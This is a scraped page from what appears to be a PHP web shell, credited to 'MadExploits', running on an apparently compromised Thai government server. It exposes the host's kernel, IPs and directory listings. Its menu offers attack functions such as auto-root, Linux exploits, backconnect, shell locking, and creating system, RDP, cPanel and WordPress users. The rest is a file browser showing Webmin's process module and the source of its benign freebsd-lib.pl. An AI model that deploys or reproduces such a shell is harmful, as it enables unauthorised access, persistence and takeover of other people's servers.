Linux ns8.secondary29.go.th 2.6.32-754.28.1.el6.x86_64 #1 SMP Wed Mar 11 18:38:45 UTC 2020 x86_64
Apache/2.2.15 (CentOS)
: 122.154.134.11 | : 122.154.134.9
Cant Read [ /etc/named.conf ]
5.6.40
apache
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
libexec /
webmin /
proc /
[ HOME SHELL ]
Name
Size
Permission
Action
help
[ DIR ]
drwxr-xr-x
images
[ DIR ]
drwxr-xr-x
lang
[ DIR ]
drwxr-xr-x
BorderPanel.class
1.73
KB
-rw-r--r--
BorderPanel.java
1.02
KB
-rw-r--r--
CHANGELOG
1.58
KB
-rw-r--r--
CbButton.class
4.68
KB
-rw-r--r--
CbButton.java
5.31
KB
-rw-r--r--
CbButtonCallback.class
137
B
-rw-r--r--
CbButtonGroup.class
675
B
-rw-r--r--
CbScrollbar.class
4.2
KB
-rw-r--r--
CbScrollbar.java
7.62
KB
-rw-r--r--
CbScrollbarArrow.class
1.9
KB
-rw-r--r--
CbScrollbarCallback.class
164
B
-rw-r--r--
LineInputStream.class
1.74
KB
-rw-r--r--
LineInputStream.java
2.08
KB
-rw-r--r--
Makefile
67
B
-rw-r--r--
MultiColumn.class
9.55
KB
-rw-r--r--
MultiColumn.java
12.55
KB
-rw-r--r--
MultiColumnCallback.class
200
B
-rw-r--r--
StringJoiner.class
783
B
-rw-r--r--
StringSplitter.class
1.2
KB
-rw-r--r--
StringSplitter.java
2.02
KB
-rw-r--r--
Tracer.class
3.99
KB
-rw-r--r--
Tracer.java
2.98
KB
-rw-r--r--
Util.class
4.34
KB
-rw-r--r--
Util.java
3.15
KB
-rw-r--r--
acl_security.pl
1.53
KB
-rwxr-xr-x
cgi_args.pl
280
B
-rwxr-xr-x
config-ALL-linux
84
B
-rw-r--r--
config-aix
83
B
-rw-r--r--
config-freebsd
86
B
-rw-r--r--
config-hpux
83
B
-rw-r--r--
config-irix
83
B
-rw-r--r--
config-macos
84
B
-rw-r--r--
config-netbsd
86
B
-rw-r--r--
config-openbsd
86
B
-rw-r--r--
config-openserver
83
B
-rw-r--r--
config-osf1
82
B
-rw-r--r--
config-solaris
83
B
-rw-r--r--
config-unixware
83
B
-rw-r--r--
config-windows
86
B
-rw-r--r--
config.info
512
B
-rw-r--r--
config.info.ca
630
B
-rw-r--r--
config.info.ca.UTF-8
635
B
-rw-r--r--
config.info.cz
513
B
-rw-r--r--
config.info.cz.UTF-8
555
B
-rw-r--r--
config.info.de
538
B
-rw-r--r--
config.info.de.UTF-8
538
B
-rw-r--r--
config.info.es
336
B
-rw-r--r--
config.info.es.UTF-8
341
B
-rw-r--r--
config.info.fa
748
B
-rw-r--r--
config.info.fr
446
B
-rw-r--r--
config.info.fr.UTF-8
442
B
-rw-r--r--
config.info.hu
490
B
-rw-r--r--
config.info.hu.UTF-8
521
B
-rw-r--r--
config.info.it
576
B
-rw-r--r--
config.info.it.UTF-8
576
B
-rw-r--r--
config.info.ja_JP.UTF-8
553
B
-rw-r--r--
config.info.ja_JP.euc
445
B
-rw-r--r--
config.info.nl
513
B
-rw-r--r--
config.info.nl.UTF-8
513
B
-rw-r--r--
config.info.no
525
B
-rw-r--r--
config.info.no.UTF-8
525
B
-rw-r--r--
config.info.pl
499
B
-rw-r--r--
config.info.pl.UTF-8
517
B
-rw-r--r--
config.info.pt_BR
534
B
-rw-r--r--
config.info.pt_BR.UTF-8
534
B
-rw-r--r--
config.info.ru.UTF-8
891
B
-rw-r--r--
config.info.ru_RU
567
B
-rw-r--r--
config.info.ru_RU.UTF-8
891
B
-rw-r--r--
config.info.ru_SU
567
B
-rw-r--r--
config.info.sv
311
B
-rw-r--r--
config.info.sv.UTF-8
320
B
-rw-r--r--
config.info.tr
517
B
-rw-r--r--
config.info.uk_UA
491
B
-rw-r--r--
config.info.uk_UA.UTF-8
755
B
-rw-r--r--
config.info.zh_CN
214
B
-rw-r--r--
config.info.zh_CN.UTF-8
253
B
-rw-r--r--
config.info.zh_TW.Big5
248
B
-rw-r--r--
config.info.zh_TW.UTF-8
303
B
-rw-r--r--
cpan_modules.pl
73
B
-rwxr-xr-x
defaultacl
38
B
-rw-r--r--
edit_proc.cgi
4.15
KB
-rwxr-xr-x
freebsd-lib.pl
4.5
KB
-rwxr-xr-x
hpux-lib.pl
2.62
KB
-rwxr-xr-x
index.cgi
463
B
-rwxr-xr-x
index_cpu.cgi
1.3
KB
-rwxr-xr-x
index_run.cgi
1.07
KB
-rwxr-xr-x
index_search.cgi
6.48
KB
-rwxr-xr-x
index_size.cgi
1.24
KB
-rwxr-xr-x
index_tree.cgi
1.5
KB
-rwxr-xr-x
index_user.cgi
1.11
KB
-rwxr-xr-x
index_zone.cgi
1.34
KB
-rwxr-xr-x
kill_proc.cgi
738
B
-rwxr-xr-x
kill_proc_list.cgi
860
B
-rwxr-xr-x
killtail.cgi
313
B
-rwxr-xr-x
linux-lib.pl
13.91
KB
-rwxr-xr-x
log_parser.pl
1.05
KB
-rwxr-xr-x
macos-lib.pl
4.45
KB
-rwxr-xr-x
module.info
289
B
-rw-r--r--
module.info.ca
116
B
-rw-r--r--
module.info.ca.UTF-8
130
B
-rw-r--r--
module.info.cz
25
B
-rw-r--r--
module.info.cz.UTF-8
34
B
-rw-r--r--
module.info.de
100
B
-rw-r--r--
module.info.de.UTF-8
112
B
-rw-r--r--
module.info.es
26
B
-rw-r--r--
module.info.es.UTF-8
32
B
-rw-r--r--
module.info.fr
34
B
-rw-r--r--
module.info.fr.UTF-8
40
B
-rw-r--r--
module.info.hu
24
B
-rw-r--r--
module.info.hu.UTF-8
31
B
-rw-r--r--
module.info.it
31
B
-rw-r--r--
module.info.it.UTF-8
37
B
-rw-r--r--
module.info.ja_JP.UTF-8
36
B
-rw-r--r--
module.info.ja_JP.euc
28
B
-rw-r--r--
module.info.ko_KR.UTF-8
43
B
-rw-r--r--
module.info.ko_KR.euc
33
B
-rw-r--r--
module.info.ms_MY
126
B
-rw-r--r--
module.info.ms_MY.UTF-8
138
B
-rw-r--r--
module.info.nl
27
B
-rw-r--r--
module.info.nl.UTF-8
33
B
-rw-r--r--
module.info.no
32
B
-rw-r--r--
module.info.no.UTF-8
38
B
-rw-r--r--
module.info.pl
27
B
-rw-r--r--
module.info.pl.UTF-8
35
B
-rw-r--r--
module.info.pt
27
B
-rw-r--r--
module.info.pt.UTF-8
33
B
-rw-r--r--
module.info.ru.UTF-8
31
B
-rw-r--r--
module.info.ru_RU
20
B
-rw-r--r--
module.info.ru_RU.UTF-8
34
B
-rw-r--r--
module.info.ru_SU
20
B
-rw-r--r--
module.info.sv
25
B
-rw-r--r--
module.info.sv.UTF-8
31
B
-rw-r--r--
module.info.tr
25
B
-rw-r--r--
module.info.zh_CN
22
B
-rw-r--r--
module.info.zh_TW.Big5
29
B
-rw-r--r--
open_files.cgi
2.57
KB
-rwxr-xr-x
openbsd-lib.pl
1.81
KB
-rwxr-xr-x
osf-lib.pl
2.44
KB
-rwxr-xr-x
proc-lib.pl
14.61
KB
-rwxr-xr-x
rbac-mapping
126
B
-rw-r--r--
renice_proc.cgi
617
B
-rwxr-xr-x
run.cgi
1.38
KB
-rwxr-xr-x
safeacl
35
B
-rw-r--r--
syslog_logs.pl
331
B
-rwxr-xr-x
sysv-lib.pl
6.12
KB
-rwxr-xr-x
tail.cgi
750
B
-rwxr-xr-x
trace.cgi
2.4
KB
-rwxr-xr-x
windows-lib.pl
1.25
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : freebsd-lib.pl
# freebsd-lib.pl # Functions for parsing freebsd ps output use IO::Handle; sub list_processes { local($pcmd, $line, $i, %pidmap, @plist); $pcmd = @_ ? "-p $_[0]" : ""; open(PS, "ps -axwwww -o pid,ppid,user,vsz,%cpu,time,nice,tty,ruser,rgid,pgid,lstart,lim,command $pcmd |"); for($i=0; $line=<PS>; $i++) { chop($line); if ($line =~ /ps -axwwww/ || $line =~ /^\s*PID/) { $i--; next; } $line =~ /^\s*(\d+)\s+(\d+)\s+(\S+)\s+(\d+)\s+([\d\.]+)\s+(\S+)\s+(-?\d+)\s+(\S+)\s+(\S+)\s+(\d+)\s+(\d+)\s+(-|\S+\s+\S+\s+\d+\s+\S+\s+\d+|\d+)\s+(\S+)\s+(.*)$/; $plist[$i]->{"pid"} = $1; $plist[$i]->{"ppid"} = $2; $plist[$i]->{"user"} = $3; $plist[$i]->{"size"} = "$4 kB"; $plist[$i]->{"bytes"} = $4*1024; $plist[$i]->{"cpu"} = $5; $plist[$i]->{"time"} = $6; $plist[$i]->{"nice"} = $7; $plist[$i]->{"_tty"} = $8; $plist[$i]->{"_ruser"} = $9; $plist[$i]->{"_rgroup"} = getgrgid($10); $plist[$i]->{"_pgid"} = $11; $plist[$i]->{"_stime"} = $12; $plist[$i]->{"_lim"} = $13 eq "-" ? "Unlimited" : $13; $plist[$i]->{"args"} = $14; } close(PS); return @plist; } # renice_proc(pid, nice) sub renice_proc { return undef if (&is_readonly_mode()); local $out = &backquote_logged("renice $_[1] -p $_[0] 2>&1"); if ($?) { return $out; } return undef; } foreach $ia (keys %text) { if ($ia =~ /^freebsd(_\S+)/) { $info_arg_map{$1} = $text{$ia}; } } @nice_range = (-20 .. 20); $has_fuser_command = 0; # get_new_pty() # Returns the filehandles and names for a pty and tty sub get_new_pty { local @ptys; opendir(DEV, "/dev"); @ptys = map { "/dev/$_" } (grep { /^pty/ } readdir(DEV)); closedir(DEV); local ($pty, $tty); foreach $pty (@ptys) { open(PTY, "+>$pty") || next; local $tty = $pty; $tty =~ s/pty/tty/; open(TTY, "+>$tty") || next; local $old = select(PTY); $| = 1; select(TTY); $| = 1; select($old); return (*PTY, *TTY, $pty, $tty); } return (); } # close_controlling_pty() # Disconnects this process from it's controlling PTY, if connected sub close_controlling_pty { if (open(DEVTTY, "/dev/tty")) { # Special ioctl to disconnect (TIOCNOTTY) ioctl(DEVTTY, 536900721, 0); close(DEVTTY); } } # open_controlling_pty(ptyfh, ttyfh, ptyfile, ttyfile) # Makes a PTY returned from get_new_pty the controlling TTY (/dev/tty) for # this process. sub open_controlling_pty { local ($ptyfh, $ttyfh, $pty, $tty) = @_; # Call special ioctl to attach /dev/tty to this new tty (TIOCSCTTY) ioctl($ttyfh, 536900705, 0); } # get_memory_info() # Returns a list containing the real mem, free real mem, swap and free swap # (In kilobytes). sub get_memory_info { my $sysctl = {}; my $sysctl_output = &backquote_command("/sbin/sysctl -a 2>/dev/null"); return ( ) if ($?); foreach my $line (split(/\n/, $sysctl_output)) { if ($line =~ m/^([^:]+):\s+(.+)\s*$/s) { $sysctl->{$1} = $2; } } return ( ) if (!$sysctl->{"hw.physmem"}); my $mem_inactive = $sysctl->{"vm.stats.vm.v_inactive_count"} * $sysctl->{"hw.pagesize"}; my $mem_cache = $sysctl->{"vm.stats.vm.v_cache_count"} * $sysctl->{"hw.pagesize"}; my $mem_free = $sysctl->{"vm.stats.vm.v_free_count"} * $sysctl->{"hw.pagesize"}; my ($swapinfo_output) = &backquote_command("/usr/sbin/swapinfo"); my ($swap_total, $swap_free) = (0, 0); foreach my $line (split(/\n/, $swapinfo_output)) { if ($line =~ /^(\S+)\s+(\d+)\s+(\d+)\s+(\d+)/) { $swap_total += $2 * 1024; $swap_free += $4 * 1024; } } return ( $sysctl->{"hw.physmem"} / 1024, ($mem_inactive + $mem_cache + $mem_free) / 1024, $swap_total, $swap_free ); } # os_get_cpu_info() # Returns a list containing the 5, 10 and 15 minute load averages, and the # CPU mhz, model, vendor, cache and count sub os_get_cpu_info { local $out = &backquote_command("uptime"); local @load; if ($out =~ /load\s+(average|averages):\s+([0-9\.]+),\s+([0-9\.]+),\s+([0-9\.]+)/) { @load = ($2, $3, $4); } else { return ( ); } $out = &backquote_command("sysctl hw.model hw.ncpu"); if ($out =~ /hw.model:\s+(\S+)\s+(\S.*\S)\s+\@\s+(\S+)/) { push(@load, $3, $2, $1, undef); } elsif ($out =~ /hw.model:\s+(\S+)\s+(\S.*\S)/) { push(@load, undef, $2, $1, undef); } else { return @load; } if ($out =~ /hw.ncpu:\s+(\d+)/) { push(@load, $1); } return @load; } # get_cpu_io_usage() # Returns a list containing CPU user, kernel and idle time # blocks in and out sub get_cpu_io_usage { my $out = &backquote_command("vmstat 0.1 2 2>/dev/null"); if ($?) { $out = &backquote_command("vmstat 1 2 2>/dev/null"); } return ( ) if ($?); my @lines = split(/\r?\n/, $out); my @w = split(/\s+/, $lines[$#lines]); shift(@w) if ($w[0] eq ''); return ( $w[-3], $w[-2], $w[-1], 0, 0, undef, undef ); } 1;
Close